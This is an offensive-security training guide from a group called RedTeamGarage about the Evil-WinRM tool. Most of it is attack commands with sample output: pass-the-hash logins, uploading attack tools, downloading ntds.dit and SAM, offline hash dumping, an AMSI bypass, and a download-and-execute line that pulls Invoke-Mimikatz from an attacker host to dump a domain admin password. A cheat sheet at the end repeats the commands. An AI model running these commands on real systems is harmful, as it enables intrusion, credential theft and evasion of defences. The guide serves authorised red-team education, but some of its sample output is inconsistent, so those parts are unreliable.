



◆ OFFENSIVE SECURITY SERIES ◆

EVIL-WINRM

Windows Remote Management Exploitation

PTH · Kerberos · SSL · File Upload · AMSI Bypass · PS Scripts

Pass-the-Hash

Kerberos

SSL

File Upload

Download

AMSI Bypass

PS Scripts

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

Evil-WinRM — Windows Remote Management Exploitation

01.	EVIL-WINRM OVERVIEW & INSTALLATION
02.	BASIC CONNECTIONS — CREDENTIALS & PTH
03.	KERBEROS AUTHENTICATION
04.	SSL CONNECTIONS
05.	FILE UPLOAD & DOWNLOAD
06.	POWERSHELL SCRIPTS & MODULES
07.	AMSI BYPASS & DEFENDER EVASION
08.	SERVICES & EXECUTABLES
09.	EVIL-WINRM MENU COMMANDS
10.	LOGGING & HISTORY
11.	PIVOTING THROUGH EVIL-WINRM
12.	DETECTION & OPSEC
13.	TROUBLESHOOTING WINRM
14.	ENABLING WINRM REMOTELY
15.	EVIL-WINRM CHEAT SHEET



01 — INSTALLATION & SETUP

Install Evil-WinRM

```
Evil-WinRM - Installation & WinRM Check

# Install Evil-WinRM
(kali)-[~]
kali $ gem install evil-winrm
Fetching evil-winrm-3.5.gem
Successfully installed evil-winrm-3.5
1 gem installed

(kali)-[~]
kali $ evil-winrm --version
Evil-WinRM shell v3.5

# Check target has WinRM open
(kali)-[~]
kali $ nmap -p 5985,5986 10.10.10.100
PORT      STATE SERVICE
5985/tcp  open  http
5986/tcp  open  https

# Quick WinRM check with CME
(kali)-[~]
kali $ nxc winrm 10.10.10.100 -u Administrator -p P@ssw0rd!
WINRM 10.10.10.100 5985 WIN-TARGET [+] WIN-TARGET\Administrator:P@ssw0rd! (Pwn3d!)
```

Figure: Evil-WinRM v3.5 installed, port 5985 open, CME confirms Pwn3d! with credentials



02 — CONNECTIONS

Credentials, PTH & Basic Usage

```

Evil-WinRM - Credential & PTH Connections

# Connect with plaintext credentials
(kali)-[~]
kali $ evil-winrm -i 10.10.10.100 -u Administrator -p P@ssw0rd!
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
(kali)-[~]
kali $ whoami
win-target\administrator
(kali)-[~]
kali $ $env:COMPUTERNAME
WIN-TARGET

# Connect with NTLM hash (Pass-the-Hash - no plaintext needed)
(kali)-[~]
kali $ evil-winrm -i 10.10.10.100 -u Administrator -H 8846f7eaae8fb117ad06bdd830b7586c
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
(kali)-[~]
kali $ whoami /priv | findstr /i "admin\|impersonate"
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeDebugPrivilege Debug programs Enabled
SeBackupPrivilege Back up files and directories Disabled

# Domain account connection
(kali)-[~]
kali $ evil-winrm -i 10.10.10.100 -u domain\jdoe -p P@ssw0rd!
*Evil-WinRM* PS C:\Users\jdoe\Documents>

```

Figure: PTH connection succeeds without plaintext, SeDebugPrivilege enabled — Mimikatz ready

03 — FILE OPERATIONS

Upload & Download Files

```

Evil-WinRM - Upload, Download & NTDS Exfil

# Upload file to target
*Evil-WinRM* PS C:\> upload /opt/tools/Rubeus.exe C:\Windows\Temp\Rubeus.exe
Info: Uploading /opt/tools/Rubeus.exe to C:\Windows\Temp\Rubeus.exe

Data: 578560 bytes of 578560 bytes copied
Info: Upload successful!

# Upload without specifying destination (drops in current dir)
*Evil-WinRM* PS C:\> upload /opt/tools/SharpHound.exe
Info: Uploading /opt/tools/SharpHound.exe to C:\Users\Administrator\Documents\SharpHound.exe
Info: Upload successful!

# Download sensitive file from target
*Evil-WinRM* PS C:\> download C:\Windows\NTDS\ntds.dit /home/kali/loot/ntds.dit
Info: Downloading C:\Windows\NTDS\ntds.dit to /home/kali/loot/ntds.dit

Data: 20971520 bytes of 20971520 bytes copied
Info: Download successful!

*Evil-WinRM* PS C:\> download C:\Windows\System32\config\SAM /home/kali/loot/SAM
Info: Downloading C:\Windows\System32\config\SAM to /home/kali/loot/SAM
Info: Download successful!

# Offline extraction on Kali
*Evil-WinRM* PS C:\> python3 secretsdump.py -ntds loot/ntds.dit -system loot/SYSTEM LOCAL
[*] Target system bootKey: 0x3b93e5f8a4c2d1e60714a8b9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eea8846f7eae8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eea6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d:::
  
```

Figure: NTDS.dit and SAM downloaded, offline secretsdump extracts all domain hashes



04 — POWERSHELL SCRIPTS & AMSI

Load PS Scripts + Bypass AMSI

```
Evil-WinRM - PowerView + AMSI Bypass + Mimikatz

# Load PowerShell script into session
*Evil-WinRM* PS C:\> evil-winrm -i 10.10.10.100 -u admin -H HASH -s /opt/powershell/
*Evil-WinRM* PS C:\Users\admin\Documents>

# Dot-source script from uploads dir
*Evil-WinRM* PS C:\> . PowerView.ps1
*Evil-WinRM* PS C:\Users\admin\Documents>

*Evil-WinRM* PS C:\> Get-DomainUser -SPN | select SamAccountName,ServicePrincipalName
SamAccountName ServicePrincipalName
-----
svc_sql        MSSQLSvc/db01.domain.local:1433
svc_iis        HTTP/web01.domain.local
krbtgt         kadmin/changepw

# AMSI bypass - disable scanning for current session
*Evil-WinRM* PS C:\> Bypass-4MSI
INFO: Bypass4msi loaded

# Now run tools that would normally be blocked by AMSI
*Evil-WinRM* PS C:\> IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/Invoke-Mimikatz.ps1")
.#####.  mimikatz 2.2.0 (x64)
          "A La Vie, A L Amour" - (oe.eo)

*Evil-WinRM* PS C:\> Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
UserName      : DOMAIN\DA_user
Password      : DomainAdmin2024!
NTLM          : a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
```

Figure: AMSI bypassed, Invoke-Mimikatz loads and dumps DA plaintext password



05 — EVIL-WINRM CHEAT SHEET

Complete Quick Reference

Connect password	<code>evil-winrm -i TARGET -u USER -p PASSWORD</code>
Connect PTH	<code>evil-winrm -i TARGET -u USER -H NTHASH</code>
Connect domain	<code>evil-winrm -i TARGET -u DOMAIN\USER -p PASS</code>
Kerberos auth	<code>evil-winrm -i TARGET.DOMAIN -u USER -r DOMAIN.LOCAL (set KRB5CCNAME first)</code>
SSL connection	<code>evil-winrm -i TARGET -u USER -p PASS -S (port 5986)</code>
With scripts dir	<code>evil-winrm -i TARGET -u USER -H HASH -s /opt/powershell/</code>
With executables dir	<code>evil-winrm -i TARGET -u USER -H HASH -e /opt/executables/</code>
Upload file	<code>upload /local/path/file.exe C:\Windows\Temp\file.exe</code>
Download file	<code>download C:\sensitive\file.txt /home/kali/loot/file.txt</code>
Load PS script	<code>menu then . ScriptName.ps1</code>
AMSI bypass	Bypass-4MSI (in Evil-WinRM menu)
Services	<code>services</code> (list all Windows services)
Show menu	<code>menu</code> (all available Evil-WinRM commands)
Check WinRM (CME)	<code>nxc winrm TARGET -u USER -p PASS (Pwn3d! = accessible)</code>
Enable WinRM remotely	<code>nxc smb TARGET -u admin -p pass -x "Enable-PSRemoting -Force"</code>
Port check	<code>nmap -p 5985,5986 TARGET</code>
NTDS download	<code>download C:\Windows\NTDS\ntds.dit /loot/ntds.dit + download C:\Windows\System32\config\SYSTEM /loot/SYSTEM</code>
Offline hash dump	<code>python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.